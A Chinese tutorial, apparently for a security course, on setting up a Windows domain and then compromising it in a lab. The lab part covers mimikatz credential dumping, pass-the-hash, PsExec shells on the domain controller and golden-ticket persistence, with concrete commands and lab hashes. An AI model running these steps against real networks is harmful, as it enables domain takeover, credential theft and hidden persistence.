一、什么是域
域其实就是由一些计算机组成的,一台电脑可以是一个域,多台电脑也可以是一个域。
在域中的机器并不对等,主要分为控制机和客户机,控制机的权限很大,可以操控域中的任意机器,被称为:域控制器,速成域控(DC)。拿下域控,就相当于拿下了一个域中的所有机器。 域又被分为单域、父域、子域、域树、域森林等概念。
内网中的机器: 1.在域中,分为高权限(域控)、低权限(域成员) 2.域控的密码和用户能够登陆所有加入域的机器。 3.不在域中:互相有联系,但是是平级。
二、域环境配置
0x01. 域控的安装
打开Windows server 2008的服务管理器选择添加角色,选择域服务,然后下一步,安装。 这里只有域控才会安装这个,其他客户机是不需要安装这个的。
选择域服务安装向导
现有林:顾名思义,已经有的林。 这里选择在新林中新建域,域名随便写都可以。
注意:这里的林功能级别是向下兼容,而不向上兼容的。 如果选择2008 R2 那么低版本如2003的 就可能不会兼容,但是选择2003,那么2003以上版本的都能加入。低版本的配置高版本能兼容,高版本的配置低版本不一定兼容。
注意:一般来说,这里IP分配是选择静态的,因为这里是靶机模拟,所以可以直接用DHCP自动分配地址即可。
这里的密码很重要,记得设置一个容易记的高难度密码。接下来下一步下一步。
安装完成之后直接重启即可。
0x02. 域成员加入
域控安装好了之后,就是域成员的加入了,首先域控和域成员要在同一个网段,可以互相通信才可以加入域。
这里的另外一台虚拟机是还没有加入域的,那么如何加入域呢?
以上是我这里域控的ip,所以这里DNS我填写192.168.101.7即可,下面备选可以写8.8.4.4(谷歌DNS)
当创建域控的时候,一般会自动创建一个DNS,必须把域成员的DNS设置为域控机器上的ip,才能加入这个域。
这时候设置一下DNS,打开网络和共享中心。打开本地连接属性,配置IPv4的DNS为域控地址。
点击开始菜单-计算机-右键-属性
点击更改设置,新窗口中点击更改,点击域,输入域名,单纯输入域名是添加不了的,必须要在配置了DNS之后才能加入
加入域,必须要输入域控主机的账号和密码。而不是域成员的账号密码。 加入之后需要重启,重启之后,输入systeminfo查看一下是否成功加入了域。
当出现这个成员服务器的时候,就证明成功的加入了域。 那么尝试一下mstsc远程连接一下域成员。
这里选择使用其他用户 baiduadministrator (baidu.comadministrator也可以)意思是baidu域控的administrator登录,密码域控的管理账号密码。 域控权限很高,任何成员机器都可以登录,只需要 域名域控的管理账号 密码即可
0x03. Windows认证协议-Kerberos
在域中一台电脑要登录另一台电脑的用户,需要一个通行证,这个通行证就叫做票据。
三. 域渗透靶场
0x01. 如何获取域控机地址
因为之前拿到了用户名和密码:administrator woshifengge1.
这台主机是独立服务器不在域中,通过ipconfig看到这台主机是10.0.1.4 那么可以直接使用远程连接连接之前拿下的10.0.1.8机器看一下是否在域中。
输入systeminfo可以看到,10.0.1.8是在域成员.
代码语言:javascript复制如何找到域控的地址呢?
1.查看主机DNS
2.ping dc.zkaq.cn ping域名
3.net view /domain
4.netdom query pdc
这里用之前设置DNS的方法,查看一下10.0.1.8的DNS
看到DNS是10.0.1.6,ping一下主机是否存活.
0x02. 通过域成员获取域控密码
主机存活,那么接下来尝试用mimikatz抓取域控密码
还是提升到debug调试权限,创建log日志文件,抓取密码,在log中可以看到抓取到的内容
发现之前抓取的密码是明文的,但是这次抓取之后是加密之后的密码。这是因为windows在高版本或是打补丁(KB2871997)之后是密文传输的。
可以看到域名是zkaq以及域控管理员的账号密码。
因为要拿下域控,那么就要涉及到认证,计算机中的认证,不是根据原始密码认证,而是根据密文(原始密码加密之后)认证的。那么连接域控的时候不是用密码认证,用密文来认证,这就叫做哈希传递(pth:pass-the-hash) windows通过NTLM进行认证,那么可以利用传输NTLM来绕过密码,NTLM是密文。 简称哈希传递.
0x03. 哈希传递获得域控权限
代码语言:javascript复制知道了域控地址,就可以进行哈希传递密文的构建了。
使用mimikatz输入 sekurlsa::pth /user:administrator /domain:"zkaq.cn" /ntlm:61465a991b168727b65b3644aab823cd
这里分别写了域控的用户名、域名、NTLM加密值。
运行之后弹出一个cmd命令框。
这就是有了域控机器的登录权限,如何验证有权限呢?
可以用SMB服务请求一下:dir \dc.zkaq.cnc$
为什么这里写dc.zkaq.cn 这条语句的意思是 zkaq.cn域的域控 dc就是域控的意思。 这个是访问一下域控机器里面的c盘目录
这时候是只有登录权限,并不能控制域控机器.
0x04. 获取域控机cmd窗口并创建用户
这时候可以用到微软推出的一款小工具:PsExec.exe,将这款工具复制到10.0.1.8主机上然后用有登录权限的cmd窗口调用。
执行命令 PsExec.exe dc.zkaq.cn cmd 调用域控的cmd 执行之后,输入systeminfo就会发现,这里就变成了域控的cmd了。
既然有了域控的cmd,那么就可以进行创建用户等一系列操作了。
创建用户之后,使用远程连接直接连接域控我们所创建的用户。
0x05. 权限维持(通过伪造黄金票据)
代码语言:javascript复制成功进入域控,这样的操作是会被系统管理员所发现的,那么如何维持权限呢。
这时候又需要提到:域渗透中的票据。
票据有黄金票据和白银票据,其中黄金票据权限最大。
在域控上输入 net user 可以看到有一个krbtgt账户,这是域控的账户,一般来说不会去对这个账户做出改变。
代码语言:javascript复制krbtgt账户其实就是KDC秘钥分发中心用的超管密码,我们拿着那个票据,去访问域里面的客户机,客户机会认为我们是KDC秘钥分发中心 所以直接给了最高权限允许访问。
黄金票据就是将krbtgt的密码摸了出来,做成了一个通行证,这样就可以访问内网所有机器了。
如何伪造黄金票据呢?
首先复制mimikatz到域控机中,然后使用log生成日志,privilege::debug提升到最高调试权限
lsadump::dcsync /user:krbtgt 获取krbtgt的密码(mimikatz会模拟域控,向目标域控请求账号密码信息)
这样就抓到了信息,提取里面的sid和hashNTLM。(这里的SID是不包括后面的502的)
然后制作票据:
kerberos::golden /admin:administrator /domain:zkaq.cn /sid:S-1-5-21-4098506371-3349406080-1400905760 /krbtgt:9f7afad7acc9f72b7e338b908795b7da /ticket:administrator.kiribi
放入mimikatz(猕猴桃)中去执行,执行之后会生成一个administrator文件。
以上图片有个地方写错了,就是最后ticket:,这里重新写成正确的administrator.kiribi即可。 然后可以把连接域控机的远程桌面关闭,使用票据连接。 首先用10.0.1.8测试是否还在连接域控主机。 输入dir dc.zkaq.cnc$
可以看到连接失败,这时候启动猕猴桃,提升权限之后加载票据。 使用: kerberos::ptt administrator.kiribi
这样就可以长期维持权限,成为"域霸"了。
总结
1.远程连接服务器,登录之前拿下的域成员10.0.1.8 2.使用猕猴桃mimikatz.exe在域成员主机抓取域控机的密码 3.使用net view /domain 或者查看DNS 4.构建哈希传递:sekurlsa::pth /user:administrator /domain:"zkaq.cn" /ntlm:61465a991b168727b65b3644aab823cd ntlm就是抓取到的域控机密码。 5.获取域控机cmd窗口创建用户提权:PsExec.exe \dc.zkaq.cn cmd 6.远程连接域控机,使用猕猴桃伪造黄金票据(抓取krbtgt账户密码):lsadump::dcsync /user:krbtgt 7.将抓取出来的数据 提取里面的sid(去掉末尾502)和hashNTLM 8.制作票据,制作票据: `kerberos::golden /admin:administrator /domain:域名 /sid:抓取到的sid /krbtgt:抓取到的hashNTLM /ticket:administrator.kiribi`,放入mimikatz(猕猴桃)中去执行放入mimikatz(猕猴桃)中去执行 9.关闭连接,在域成员中使用猕猴桃加载票据kerberos::ptt administrator.kiribi 10.成为域霸。